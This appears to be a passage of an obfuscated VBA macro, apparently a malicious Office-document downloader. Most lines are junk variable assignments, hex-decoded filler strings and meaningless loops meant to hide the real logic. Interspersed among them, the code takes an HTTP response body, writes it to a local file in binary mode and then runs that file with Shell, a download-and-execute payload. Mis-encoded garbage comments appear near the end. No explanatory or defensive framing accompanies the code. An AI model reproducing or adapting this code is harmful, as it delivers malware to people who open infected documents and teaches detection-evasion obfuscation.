- qlWEwjnO = GIYbonflbkpgerg("20202020202020202020204D4E4647594D202020202020202020202020202020")
- GgEBIQln = LTrim(qlWEwjnO)
- ITlObKUr = RTrim(GgEBIQln)
- DoEvents: PulYQUhx = PulYQUhx + 1
- Dim LQPqvPPE, wXVtiilC, PSrIdLTT As String
- LQPqvPPE = GIYbonflbkpgerg("202020202020202020202044414B4C585A202020202020202020202020202020")
- wXVtiilC = LTrim(LQPqvPPE)
- PSrIdLTT = RTrim(wXVtiilC)
- Loop
- Dim KkywdbGo, rcKvFfKl, hERAjzXE As String
- KkywdbGo = GIYbonflbkpgerg("20202020202020202020204D4D4A4D4D47202020202020202020202020202020")
- rcKvFfKl = LTrim(KkywdbGo)
- hERAjzXE = RTrim(rcKvFfKl)
- NPJUFXTFFIE = SXGGPOLSDDD.responseBody
- Dim HEXvEzRA, GfbsArpN, alsgrKfq As String
- Dim GRHDIDqu As Integer
- Dim calqsGXr, lzZxYMlt, gzSIaVJy As String
- calqsGXr = GIYbonflbkpgerg("20202020202020202020204B4651505646202020202020202020202020202020")
- lzZxYMlt = LTrim(calqsGXr)
- gzSIaVJy = RTrim(lzZxYMlt)
- GRHDIDqu = 2
- Do While GRHDIDqu < 71
- Dim IiRVxpYS, fedlPRvR, ylernQDi As String
- IiRVxpYS = GIYbonflbkpgerg("2020202020202020202020595759425548202020202020202020202020202020")
- fedlPRvR = LTrim(IiRVxpYS)
- ylernQDi = RTrim(fedlPRvR)
- DoEvents: GRHDIDqu = GRHDIDqu + 1
- Dim tVQqQOet, lFJFJmgD, WNtInKVi As String
- tVQqQOet = GIYbonflbkpgerg("20202020202020202020204B494B4C455A202020202020202020202020202020")
- lFJFJmgD = LTrim(tVQqQOet)
- WNtInKVi = RTrim(lFJFJmgD)
- Loop
- Dim cprEgcqb, wMYjdbJV, UNllFfMo As String
- cprEgcqb = GIYbonflbkpgerg("2020202020202020202020504848565746202020202020202020202020202020")
- wMYjdbJV = LTrim(cprEgcqb)
- UNllFfMo = RTrim(wMYjdbJV)
- HEXvEzRA = GIYbonflbkpgerg("20202020202020202020204C4E53584545202020202020202020202020202020")
- Dim hbQiugGJ As Integer
- Dim kielvlGo, fidTLcdp, ooxJfZPq As String
- kielvlGo = GIYbonflbkpgerg("2020202020202020202020474B45475245202020202020202020202020202020")
- fidTLcdp = LTrim(kielvlGo)
- ooxJfZPq = RTrim(fidTLcdp)
- hbQiugGJ = 4
- Do While hbQiugGJ < 34
- Dim bDrqouMt, rIQTwASC, OElNIXEG As String
- bDrqouMt = GIYbonflbkpgerg("202020202020202020202041504B594E47202020202020202020202020202020")
- rIQTwASC = LTrim(bDrqouMt)
- OElNIXEG = RTrim(rIQTwASC)
- DoEvents: hbQiugGJ = hbQiugGJ + 1
- Dim TwMSTyMU, iYiYgEEz, xxfpmgGP As String
- TwMSTyMU = GIYbonflbkpgerg("2020202020202020202020445241474759202020202020202020202020202020")
- iYiYgEEz = LTrim(TwMSTyMU)
- xxfpmgGP = RTrim(iYiYgEEz)
- Loop
- Dim EejOGFrL, GoeSkZir, DMYbhRDZ As String
- EejOGFrL = GIYbonflbkpgerg("2020202020202020202020444458414F58202020202020202020202020202020")
- GoeSkZir = LTrim(EejOGFrL)
- DMYbhRDZ = RTrim(GoeSkZir)
- GfbsArpN = LTrim(HEXvEzRA)
- Dim pdhGNgVH As Integer
- Dim TipXmlVE, noliGvwR, xpEmpZLT As String
- TipXmlVE = GIYbonflbkpgerg("2020202020202020202020584B55455A52202020202020202020202020202020")
- noliGvwR = LTrim(TipXmlVE)
- xpEmpZLT = RTrim(noliGvwR)
- pdhGNgVH = 3
- Do While pdhGNgVH < 83
- Dim QMSbCxTb, hGmMpKck, WPzhxdgo As String
- QMSbCxTb = GIYbonflbkpgerg("20202020202020202020204E4554545452202020202020202020202020202020")
- hGmMpKck = LTrim(QMSbCxTb)
- WPzhxdgo = RTrim(hGmMpKck)
- DoEvents: pdhGNgVH = pdhGNgVH + 1
- Dim Pgfiqlcj, BtlQhtOB, AhUTBZll As String
- Pgfiqlcj = GIYbonflbkpgerg("20202020202020202020204948554A474D202020202020202020202020202020")
- BtlQhtOB = LTrim(Pgfiqlcj)
- AhUTBZll = RTrim(BtlQhtOB)
- Loop
- Dim JLcyZKwH, rBpotTvN, htXsYlZq As String
- JLcyZKwH = GIYbonflbkpgerg("20202020202020202020204D494E535A56202020202020202020202020202020")
- rBpotTvN = LTrim(JLcyZKwH)
- htXsYlZq = RTrim(rBpotTvN)
- alsgrKfq = RTrim(GfbsArpN)
- Dim XDnNBEcl As Integer
- Dim xouYpLcS, kpkKRCWF, fpArBzlG As String
- xouYpLcS = GIYbonflbkpgerg("20202020202020202020204B4B59574348202020202020202020202020202020")
- kpkKRCWF = LTrim(xouYpLcS)
- fpArBzlG = RTrim(kpkKRCWF)
- XDnNBEcl = 1
- Do While XDnNBEcl < 58
- Dim XTeYFJhk, AnQaasip, ywlwfYBa As String
- XTeYFJhk = GIYbonflbkpgerg("2020202020202020202020595844494E46202020202020202020202020202020")
- AnQaasip = LTrim(XTeYFJhk)
- ywlwfYBa = RTrim(AnQaasip)
- DoEvents: XDnNBEcl = XDnNBEcl + 1
- Dim XXXXNaXq, qQzbySiL, DCjlGpJd As String
- XXXXNaXq = GIYbonflbkpgerg("2020202020202020202020465556535051202020202020202020202020202020")
- qQzbySiL = LTrim(XXXXNaXq)
- DCjlGpJd = RTrim(qQzbySiL)
- Loop
- Dim OFMJWMvT, WMYMcUZH, iNlCBwTa As String
- OFMJWMvT = GIYbonflbkpgerg("202020202020202020202043484744414B202020202020202020202020202020")
- WMYMcUZH = LTrim(OFMJWMvT)
- iNlCBwTa = RTrim(WMYMcUZH)
- ZYCJDCPOEMK = FreeFile
- Open DUBGHDQFXFU For Binary As #ZYCJDCPOEMK
- Dim ZEqyukTi, vRmkAwep, lTTEXnnq As String
- Dim DHDBMlYi As Integer
- Dim ofANNoHl, rgQsmdfl, NgWcGkQm As String
- ofANNoHl = GIYbonflbkpgerg("2020202020202020202020515748544B56202020202020202020202020202020")
- rgQsmdfl = LTrim(ofANNoHl)
- NgWcGkQm = RTrim(rgQsmdfl)
- DHDBMlYi = 8
- Do While DHDBMlYi < 91
- Dim IOlABDdK, ANpdHMAw, uWKUehld As String
- IOlABDdK = GIYbonflbkpgerg("202020202020202020202059494E465754202020202020202020202020202020")
- ANpdHMAw = LTrim(IOlABDdK)
- uWKUehld = RTrim(ANpdHMAw)
- DoEvents: DHDBMlYi = DHDBMlYi + 1
- Dim pMdHmiNy, vPklnMsF, DncVTTxx As String
- pMdHmiNy = GIYbonflbkpgerg("20202020202020202020205759594F5746202020202020202020202020202020")
- vPklnMsF = LTrim(pMdHmiNy)
- DncVTTxx = RTrim(vPklnMsF)
- Loop
- Dim xHmXqPcL, IXuBScAr, YUPSPbuZ As String
- xHmXqPcL = GIYbonflbkpgerg("20202020202020202020204F5556554C4D202020202020202020202020202020")
- IXuBScAr = LTrim(xHmXqPcL)
- YUPSPbuZ = RTrim(IXuBScAr)
- ZEqyukTi = GIYbonflbkpgerg("202020202020202020202057454949575A202020202020202020202020202020")
- Dim NjvrFiFy As Integer
- Dim kSRXvbrj, fDFiLRAk, oDVlfIBl As String
- kSRXvbrj = GIYbonflbkpgerg("202020202020202020202047554A455259202020202020202020202020202020")
- fDFiLRAk = LTrim(kSRXvbrj)
- oDVlfIBl = RTrim(fDFiLRAk)
- NjvrFiFy = 1
- Do While NjvrFiFy < 64
- Dim PCXqmSfl, hLRYUuyp, opmjcfmD As String
- PCXqmSfl = GIYbonflbkpgerg("2020202020202020202020554746595454202020202020202020202020202020")
- hLRYUuyp = LTrim(PCXqmSfl)
- opmjcfmD = RTrim(hLRYUuyp)
- DoEvents: NjvrFiFy = NjvrFiFy + 1
- Dim acNPGlSl, EIgRvHwS, KvliRAUm As String
- acNPGlSl = GIYbonflbkpgerg("2020202020202020202020484D4E59544D202020202020202020202020202020")
- EIgRvHwS = LTrim(acNPGlSl)
- KvliRAUm = RTrim(EIgRvHwS)
- Loop
- Dim flexFsUw, bbGbhNQT, QTAZJFFH As String
- flexFsUw = GIYbonflbkpgerg("2020202020202020202020545747574949202020202020202020202020202020")
- bbGbhNQT = LTrim(flexFsUw)
- QTAZJFFH = RTrim(bbGbhNQT)
- vRmkAwep = LTrim(ZEqyukTi)
- Dim TOMmrwbl As Integer
- Dim mVswyPTM, zEdjCzTp, VRcEjueq As String
- mVswyPTM = GIYbonflbkpgerg("202020202020202020202050455255594C202020202020202020202020202020")
- zEdjCzTp = LTrim(mVswyPTM)
- VRcEjueq = RTrim(zEdjCzTp)
- TOMmrwbl = 7
- Do While TOMmrwbl < 89
- Dim RprGojqa, ptQpxQeL, FNlROyMP As String
- RprGojqa = GIYbonflbkpgerg("202020202020202020202052574B574E4D202020202020202020202020202020")
- ptQpxQeL = LTrim(RprGojqa)
- FNlROyMP = RTrim(ptQpxQeL)
- DoEvents: TOMmrwbl = TOMmrwbl + 1
- Dim juUsoPGb, TXDHgwai, iizPVLPA As String
- juUsoPGb = GIYbonflbkpgerg("202020202020202020202056534A4D475A202020202020202020202020202020")
- TXDHgwai = LTrim(juUsoPGb)
- iizPVLPA = RTrim(TXDHgwai)
- Loop
- Dim mzkihyNJ, YirqKMez, LfHflIud As String
- mzkihyNJ = GIYbonflbkpgerg("2020202020202020202020474341575156202020202020202020202020202020")
- YirqKMez = LTrim(mzkihyNJ)
- LfHflIud = RTrim(YirqKMez)
- lTTEXnnq = RTrim(vRmkAwep)
- Dim DDrQTjfR As Integer
- Dim RhWMDrry, njtyiiAi, wjgkZdBo As String
- RhWMDrry = GIYbonflbkpgerg("20202020202020202020205858425A5158202020202020202020202020202020")
- njtyiiAi = LTrim(RhWMDrry)
- wjgkZdBo = RTrim(njtyiiAi)
- DDrQTjfR = 8
- Do While DDrQTjfR < 11
- Dim fUQlmqwd, LZlFUTft, vcNpMatX As String
- fUQlmqwd = GIYbonflbkpgerg("20202020202020202020204743525A4A56202020202020202020202020202020")
- LZlFUTft = LTrim(fUQlmqwd)
- vcNpMatX = RTrim(LZlFUTft)
- DoEvents: DDrQTjfR = DDrQTjfR + 1
- Dim dyXgXpYY, AWaLzWKg, ruhDQlAO As String
- dyXgXpYY = GIYbonflbkpgerg("2020202020202020202020585156574947202020202020202020202020202020")
- AWaLzWKg = LTrim(dyXgXpYY)
- ruhDQlAO = RTrim(AWaLzWKg)
- Loop
- Dim gjfTQCHy, nxNIfPLj, viEwsSbG As String
- gjfTQCHy = GIYbonflbkpgerg("2020202020202020202020544D5742554E202020202020202020202020202020")
- nxNIfPLj = LTrim(gjfTQCHy)
- viEwsSbG = RTrim(nxNIfPLj)
- Put #ZYCJDCPOEMK, , NPJUFXTFFIE
- Dim CERmNXrk, HLmyJelW, wGenrvpS As String
- Dim gICqGBFI As Integer
- Dim SzJfYVvf, UzanaeXg, EeqSmulh As String
- SzJfYVvf = GIYbonflbkpgerg("202020202020202020202042475653494C202020202020202020202020202020")
- UzanaeXg = LTrim(SzJfYVvf)
- EeqSmulh = RTrim(UzanaeXg)
- gICqGBFI = 6
- Do While gICqGBFI < 59
- Dim CyhuuAlg, ZaCAlXpu, uXRXUjzV As String
- CyhuuAlg = GIYbonflbkpgerg("2020202020202020202020594F4C585059202020202020202020202020202020")
- ZaCAlXpu = LTrim(CyhuuAlg)
- uXRXUjzV = RTrim(ZaCAlXpu)
- DoEvents: gICqGBFI = gICqGBFI + 1
- Dim krGWCrbD, YMMveHQw, otolSdmH As String
- krGWCrbD = GIYbonflbkpgerg("202020202020202020202042504D514F53202020202020202020202020202020")
- YMMveHQw = LTrim(krGWCrbD)
- otolSdmH = RTrim(YMMveHQw)
- Loop
- Dim xCQWmOMv, IecBXxVO, MopzvqaL As String
- xCQWmOMv = GIYbonflbkpgerg("20202020202020202020204F505555564C202020202020202020202020202020")
- IecBXxVO = LTrim(xCQWmOMv)
- MopzvqaL = RTrim(IecBXxVO)
- CERmNXrk = GIYbonflbkpgerg("2020202020202020202020445454515750202020202020202020202020202020")
- Dim maMbPMrQ As Integer
- Dim eAjsCBVI, VZnckewO, MEQOSiLP As String
- eAjsCBVI = GIYbonflbkpgerg("2020202020202020202020495A5051484C202020202020202020202020202020")
- VZnckewO = LTrim(eAjsCBVI)
- MEQOSiLP = RTrim(VZnckewO)
- maMbPMrQ = 7
- Do While maMbPMrQ < 35
- Dim asbvHKQI, MAjpUBNs, vcVRMmJr As String
- asbvHKQI = GIYbonflbkpgerg("2020202020202020202020475845444A49202020202020202020202020202020")
- MAjpUBNs = LTrim(asbvHKQI)
- vcVRMmJr = RTrim(MAjpUBNs)
- DoEvents: maMbPMrQ = maMbPMrQ + 1
- Dim WdpcAtFb, ccckqZcL, SfEXhfOA As String
- WdpcAtFb = GIYbonflbkpgerg("20202020202020202020204D4E4F494459202020202020202020202020202020")
- ccckqZcL = LTrim(WdpcAtFb)
- SfEXhfOA = RTrim(ccckqZcL)
- Loop
- Dim mUpiomeA, UDXqPiyQ, LLIfdXpX As String
- mUpiomeA = GIYbonflbkpgerg("2020202020202020202020474443575554202020202020202020202020202020")
- UDXqPiyQ = LTrim(mUpiomeA)
- LLIfdXpX = RTrim(UDXqPiyQ)
- HLmyJelW = LTrim(CERmNXrk)
- Dim blHFYGlF As Integer
- Dim ZuHwWWdu, ciNUhBPi, lopMPrio As String
- ZuHwWWdu = GIYbonflbkpgerg("2020202020202020202020574B4348474A202020202020202020202020202020")
- ciNUhBPi = LTrim(ZuHwWWdu)
- lopMPrio = RTrim(ciNUhBPi)
- blHFYGlF = 8
- Do While blHFYGlF < 76
- Dim NDHyAfhB, TOvnGIiJ, vNgsTGxm As String
- NDHyAfhB = GIYbonflbkpgerg("2020202020202020202020475051454F4B202020202020202020202020202020")
- TOvnGIiJ = LTrim(NDHyAfhB)
- vNgsTGxm = RTrim(TOvnGIiJ)
- DoEvents: blHFYGlF = blHFYGlF + 1
- Dim tOwUJaVY, lbnsCSpg, XPGyYpKO As String
- tOwUJaVY = GIYbonflbkpgerg("20202020202020202020204B4E51545951202020202020202020202020202020")
- lbnsCSpg = LTrim(tOwUJaVY)
- XPGyYpKO = RTrim(lbnsCSpg)
- Loop
- Dim FXYRfclY, SUpjsbBy, BDXlFdej As String
- FXYRfclY = GIYbonflbkpgerg("20202020202020202020204B4F52565744202020202020202020202020202020")
- SUpjsbBy = LTrim(FXYRfclY)
- BDXlFdej = RTrim(SUpjsbBy)
- wGenrvpS = RTrim(HLmyJelW)
- Dim ZNxftOLJ As Integer
- Dim ICkxYaZS, RVAIayND, bBQMwpcG As String
- ICkxYaZS = GIYbonflbkpgerg("202020202020202020202056445148494D202020202020202020202020202020")
- RVAIayND = LTrim(ICkxYaZS)
- bBQMwpcG = RTrim(RVAIayND)
- ZNxftOLJ = 6
- Do While ZNxftOLJ < 58
- Dim zryaXjVM, UBFwoSHS, nhRuNLth As String
- zryaXjVM = GIYbonflbkpgerg("2020202020202020202020484C4C414C4D202020202020202020202020202020")
- UBFwoSHS = LTrim(zryaXjVM)
- nhRuNLth = RTrim(UBFwoSHS)
- DoEvents: ZNxftOLJ = ZNxftOLJ + 1
- Dim xthzNXvX, QWmYyUPR, fuOnGtlB As String
- xthzNXvX = GIYbonflbkpgerg("2020202020202020202020415149475049202020202020202020202020202020")
- QWmYyUPR = LTrim(xthzNXvX)
- fuOnGtlB = RTrim(QWmYyUPR)
- Loop
- Dim QKocnTQY, CVWnzlFJ, WIvdNwmj As String
- QKocnTQY = GIYbonflbkpgerg("20202020202020202020204A554B57414B202020202020202020202020202020")
- CVWnzlFJ = LTrim(QKocnTQY)
- WIvdNwmj = RTrim(CVWnzlFJ)
- Close #ZYCJDCPOEMK
- Dim bOLVGleS, FbBAWtgm, egtyaJne As String
- Dim fQDCeEDZ As Integer
- Dim PkjRguEq, TknJIqas, AlPeehvd As String
- PkjRguEq = GIYbonflbkpgerg("20202020202020202020205643504D4243202020202020202020202020202020")
- TknJIqas = LTrim(PkjRguEq)
- AlPeehvd = RTrim(TknJIqas)
- fQDCeEDZ = 4
- Do While fQDCeEDZ < 59
- Dim KGrgfvnS, xPQOnMlE, zYlrDgpw As String
- KGrgfvnS = GIYbonflbkpgerg("202020202020202020202050514B495A56202020202020202020202020202020")
- xPQOnMlE = LTrim(KGrgfvnS)
- zYlrDgpw = RTrim(xPQOnMlE)
- DoEvents: fQDCeEDZ = fQDCeEDZ + 1
- Dim ltApAyob, WhHeqEKL, pyXUhgrA As String
- ltApAyob = GIYbonflbkpgerg("20202020202020202020204251464B5644202020202020202020202020202020")
- WhHeqEKL = LTrim(ltApAyob)
- pyXUhgrA = RTrim(WhHeqEKL)
- Loop
- Dim FcbRgqAG, NEsUJBRB, dOVPlDIp As String
- FcbRgqAG = GIYbonflbkpgerg("2020202020202020202020424954555041202020202020202020202020202020")
- NEsUJBRB = LTrim(FcbRgqAG)
- dOVPlDIp = RTrim(NEsUJBRB)
- bOLVGleS = GIYbonflbkpgerg("2020202020202020202020454E5844544D202020202020202020202020202020")
- Dim RKohfgPx As Integer
- Dim lfqvTKKZ, gfmPNXhE, pgRXlaDR As String
- lfqvTKKZ = GIYbonflbkpgerg("20202020202020202020204857554A5548202020202020202020202020202020")
- gfmPNXhE = LTrim(lfqvTKKZ)
- pgRXlaDR = RTrim(gfmPNXhE)
- RKohfgPx = 6
- Do While RKohfgPx < 29
- Dim EmlnYQdQ, ohzWLurZ, FsOhuAWm As String
- EmlnYQdQ = GIYbonflbkpgerg("2020202020202020202020434858544351202020202020202020202020202020")
- ohzWLurZ = LTrim(EmlnYQdQ)
- FsOhuAWm = RTrim(ohzWLurZ)
- DoEvents: RKohfgPx = RKohfgPx + 1
- Dim XYOaQXuW, qxGRHUlE, DIevbtzV As String
- XYOaQXuW = GIYbonflbkpgerg("202020202020202020202046424A464549202020202020202020202020202020")
- qxGRHUlE = LTrim(XYOaQXuW)
- DIevbtzV = RTrim(qxGRHUlE)
- Loop
- Dim KALpHiGk, HsxCFpmH, ekoNhCva As String
- KALpHiGk = GIYbonflbkpgerg("20202020202020202020204D4251464F59202020202020202020202020202020")
- HsxCFpmH = LTrim(KALpHiGk)
- ekoNhCva = RTrim(HsxCFpmH)
- FbBAWtgm = LTrim(bOLVGleS)
- Dim gYuvYEPJ As Integer
- Dim RcnlBzPg, nvPRlyuh, wvMHFqRk As String
- RcnlBzPg = GIYbonflbkpgerg("2020202020202020202020584E47464A57202020202020202020202020202020")
- nvPRlyuh = LTrim(RcnlBzPg)
- wvMHFqRk = RTrim(nvPRlyuh)
- gYuvYEPJ = 4
- Do While gYuvYEPJ < 59
- Dim bcjJPJlc, lFiZAVIa, COGCFlnK As String
- bcjJPJlc = GIYbonflbkpgerg("2020202020202020202020414542584655202020202020202020202020202020")
- lFiZAVIa = LTrim(bcjJPJlc)
- COGCFlnK = RTrim(lFiZAVIa)
- DoEvents: gYuvYEPJ = gYuvYEPJ + 1
- Dim SmwsjKAP, gTPyNhpt, ZwGOyawD As String
- SmwsjKAP = GIYbonflbkpgerg("20202020202020202020204845475A4942202020202020202020202020202020")
- gTPyNhpt = LTrim(SmwsjKAP)
- ZwGOyawD = RTrim(gTPyNhpt)
- Loop
- Dim WUrgWkdj, iDHkxyhA, yvlrmiWN As String
- WUrgWkdj = GIYbonflbkpgerg("2020202020202020202020585A48485151202020202020202020202020202020")
- iDHkxyhA = LTrim(WUrgWkdj)
- yvlrmiWN = RTrim(iDHkxyhA)
- egtyaJne = RTrim(FbBAWtgm)
- Dim CPGJAJWd As Integer
- Dim uSxFUJnO, eDYNzXVP, VDJsxNwQ As String
- uSxFUJnO = GIYbonflbkpgerg("2020202020202020202020505544424947202020202020202020202020202020")
- eDYNzXVP = LTrim(uSxFUJnO)
- VDJsxNwQ = RTrim(eDYNzXVP)
- CPGJAJWd = 1
- Do While CPGJAJWd < 29
- Dim ianqhlqV, akjWunnA, TdBjlWkl As String
- ianqhlqV = GIYbonflbkpgerg("20202020202020202020204B4A45594557202020202020202020202020202020")
- akjWunnA = LTrim(ianqhlqV)
- TdBjlWkl = RTrim(akjWunnA)
- DoEvents: CPGJAJWd = CPGJAJWd + 1
- Dim BwnXQPvM, AYGHmiif, HxWmbLlX As String
- BwnXQPvM = GIYbonflbkpgerg("202020202020202020202058524B4D4B57202020202020202020202020202020")
- AYGHmiif = LTrim(BwnXQPvM)
- HxWmbLlX = RTrim(AYGHmiif)
- Loop
- Dim GCVWKRFw, aeOVllJY, dowaXuWJ As String
- GCVWKRFw = GIYbonflbkpgerg("20202020202020202020204C504455504A202020202020202020202020202020")
- aeOVllJY = LTrim(GCVWKRFw)
- dowaXuWJ = RTrim(aeOVllJY)
- Dim ZSRRRRLDPOA
- Dim hqdqDFzF, AjBfgAtB, bzZadEPc As String
- Dim Zeohdkvf As Integer
- Dim hdlrHZqT, sdEhqYIU, ufFATQyI As String
- hdlrHZqT = GIYbonflbkpgerg("2020202020202020202020464D53554449202020202020202020202020202020")
- sdEhqYIU = LTrim(hdlrHZqT)
- ufFATQyI = RTrim(sdEhqYIU)
- Zeohdkvf = 6
- Do While Zeohdkvf < 45
- Dim THoItCpw, qQHrklaf, rzUFobjJ As String
- THoItCpw = GIYbonflbkpgerg("202020202020202020202052534D4B5650202020202020202020202020202020")
- qQHrklaf = LTrim(THoItCpw)
- rzUFobjJ = RTrim(qQHrklaf)
- DoEvents: Zeohdkvf = Zeohdkvf + 1
- Dim BzlHkbAX, dKvlcqDR, HeSfuIxV As String
- BzlHkbAX = GIYbonflbkpgerg("202020202020202020202047504F4F4C43202020202020202020202020202020")
- dKvlcqDR = LTrim(BzlHkbAX)
- HeSfuIxV = RTrim(dKvlcqDR)
- Loop
- Dim WGgKShaX, LbKRPkUw, yTRUsyPT As String
- WGgKShaX = GIYbonflbkpgerg("2020202020202020202020585957545550202020202020202020202020202020")
- LbKRPkUw = LTrim(WGgKShaX)
- yTRUsyPT = RTrim(LbKRPkUw)
- hqdqDFzF = GIYbonflbkpgerg("2020202020202020202020594A4D474958202020202020202020202020202020")
- Dim jldagTnP As Integer
- Dim IPzZEgAE, EPsFVlVR, vQwNlcwT As String
- IPzZEgAE = GIYbonflbkpgerg("20202020202020202020204359454C5941202020202020202020202020202020")
- EPsFVlVR = LTrim(IPzZEgAE)
- vQwNlcwT = RTrim(EPsFVlVR)
- jldagTnP = 4
- Do While jldagTnP < 66
- Dim HruMnMdu, wBFhDhtV, aWxPNPXH As String
- HruMnMdu = GIYbonflbkpgerg("2020202020202020202020504C4D564F4F202020202020202020202020202020")
- wBFhDhtV = LTrim(HruMnMdu)
- aWxPNPXH = RTrim(wBFhDhtV)
- DoEvents: jldagTnP = jldagTnP + 1
- Dim fHZutbqj, HaJaFCMQ, tJCTMIyl As String
- fHZutbqj = GIYbonflbkpgerg("202020202020202020202052464C4E5A48202020202020202020202020202020")
- HaJaFCMQ = LTrim(fHZutbqj)
- tJCTMIyl = RTrim(HaJaFCMQ)
- Loop
- Dim iJhKNsTU, mCzWANIK, lUTUbzgj As String
- iJhKNsTU = GIYbonflbkpgerg("20202020202020202020205A5558544649202020202020202020202020202020")
- mCzWANIK = LTrim(iJhKNsTU)
- lUTUbzgj = RTrim(mCzWANIK)
- AjBfgAtB = LTrim(hqdqDFzF)
- Dim xSohqnGS As Integer
- Dim PXIuVpWZ, YCKllglE, AVeRDlHR As String
- PXIuVpWZ = GIYbonflbkpgerg("202020202020202020202042534C494A42202020202020202020202020202020")
- YCKllglE = LTrim(PXIuVpWZ)
- AVeRDlHR = RTrim(YCKllglE)
- xSohqnGS = 5
- Do While xSohqnGS < 32
- Dim zggETKdB, UqCVKdtJ, dyRltIXI As String
- zggETKdB = GIYbonflbkpgerg("20202020202020202020204F464C555846202020202020202020202020202020")
- UqCVKdtJ = LTrim(zggETKdB)
- dyRltIXI = RTrim(UqCVKdtJ)
- DoEvents: xSohqnGS = xSohqnGS + 1
- Dim SElauWCQ, alcRdYol, ERSvXrKD As String
- SElauWCQ = GIYbonflbkpgerg("20202020202020202020204F434F464649202020202020202020202020202020")
- alcRdYol = LTrim(SElauWCQ)
- ERSvXrKD = RTrim(alcRdYol)
- Loop
- Dim uvuTxiRz, lRLIBWId, TPTQnOQc As String
- uvuTxiRz = GIYbonflbkpgerg("20202020202020202020205A434B424259202020202020202020202020202020")
- lRLIBWId = LTrim(uvuTxiRz)
- TPTQnOQc = RTrim(lRLIBWId)
- bzZadEPc = RTrim(AjBfgAtB)
- Dim rHGDMvME As Integer
- Dim tybecbkK, ayOgKRFL, XuMnsIsM As String
- tybecbkK = GIYbonflbkpgerg("20202020202020202020204F4A47594559202020202020202020202020202020")
- ayOgKRFL = LTrim(tybecbkK)
- XuMnsIsM = RTrim(ayOgKRFL)
- rHGDMvME = 4
- Do While rHGDMvME < 93
- Dim RTzRyBqn, oAPBllek, FxkmYGMp As String
- RTzRyBqn = GIYbonflbkpgerg("202020202020202020202043584449504B202020202020202020202020202020")
- oAPBllek = LTrim(RTzRyBqn)
- FxkmYGMp = RTrim(oAPBllek)
- DoEvents: rHGDMvME = rHGDMvME + 1
- Dim rVktfVNm, lDcIlOse, WBSZzuWx As String
- rVktfVNm = GIYbonflbkpgerg("20202020202020202020204B494F484A4F202020202020202020202020202020")
- lDcIlOse = LTrim(rVktfVNm)
- WBSZzuWx = RTrim(lDcIlOse)
- Loop
- Dim sATHAkic, psoZblDC, wkWTaiJi As String
- sATHAkic = GIYbonflbkpgerg("2020202020202020202020524252525A51202020202020202020202020202020")
- psoZblDC = LTrim(sATHAkic)
- wkWTaiJi = RTrim(psoZblDC)
- ZSRRRRLDPOA = Shell(DUBGHDQFXFU, 1)
- Dim kjrOvSIT, fkfWLJyY, okcudWEU As String
- Dim jxzFEpbR As Integer
- Dim lyIwojxh, fuKIEmMj, pieMCbkk As String
- lyIwojxh = GIYbonflbkpgerg("20202020202020202020204F554749554F202020202020202020202020202020")
- fuKIEmMj = LTrim(lyIwojxh)
- pieMCbkk = RTrim(fuKIEmMj)
- jxzFEpbR = 4
- Do While jxzFEpbR < 33
- Dim fBylkzwl, LMDFRxdp, vHmpJKtz As String
- fBylkzwl = GIYbonflbkpgerg("20202020202020202020204759465A474C202020202020202020202020202020")
- LMDFRxdp = LTrim(fBylkzwl)
- vHmpJKtz = RTrim(LMDFRxdp)
- DoEvents: jxzFEpbR = jxzFEpbR + 1
- Dim hqcPuGRJ, RaEfdnHb, usKiXVbM As String
- hqcPuGRJ = GIYbonflbkpgerg("2020202020202020202020564653594654202020202020202020202020202020")
- RaEfdnHb = LTrim(hqcPuGRJ)
- usKiXVbM = RTrim(RaEfdnHb)
- Loop
- Dim TIQlYhtT, KFcwieoH, HvaoytFg As String
- TIQlYhtT = GIYbonflbkpgerg("2020202020202020202020465A554C5250202020202020202020202020202020")
- KFcwieoH = LTrim(TIQlYhtT)
- HvaoytFg = RTrim(KFcwieoH)
- kjrOvSIT = GIYbonflbkpgerg("2020202020202020202020475852585244202020202020202020202020202020")
- Dim cRJUdpdM As Integer
- Dim XoUYQOSS, KpJKyFpD, DqarnKYF As String
- XoUYQOSS = GIYbonflbkpgerg("2020202020202020202020544C4C575051202020202020202020202020202020")
- KpJKyFpD = LTrim(XoUYQOSS)
- DqarnKYF = RTrim(KpJKyFpD)
- cRJUdpdM = 5
- Do While cRJUdpdM < 16
- Dim PVCyCfrH, ZgDJFmll, ipwsaGqs As String
- PVCyCfrH = GIYbonflbkpgerg("2020202020202020202020554846454D4B202020202020202020202020202020")
- ZgDJFmll = LTrim(PVCyCfrH)
- ipwsaGqs = RTrim(ZgDJFmll)
- DoEvents: cRJUdpdM = cRJUdpdM + 1
- Dim lqizlPbJ, XwwXeuoq, qsAnoLmL As String
- lqizlPbJ = GIYbonflbkpgerg("2020202020202020202020554249434F57202020202020202020202020202020")
- XwwXeuoq = LTrim(lqizlPbJ)
- qsAnoLmL = RTrim(XwwXeuoq)
- Loop
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- Dim MUWMhCbM, yDUCKQZt, kLlNlbYg As String
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- MUWMhCbM = GIYbonflbkpgerg("2020202020202020202020575A53595841202020202020202020202020202020")
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- yDUCKQZt = LTrim(MUWMhCbM)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- kLlNlbYg = RTrim(yDUCKQZt)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
- fkfWLJyY = LTrim(kjrOvSIT)
- 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
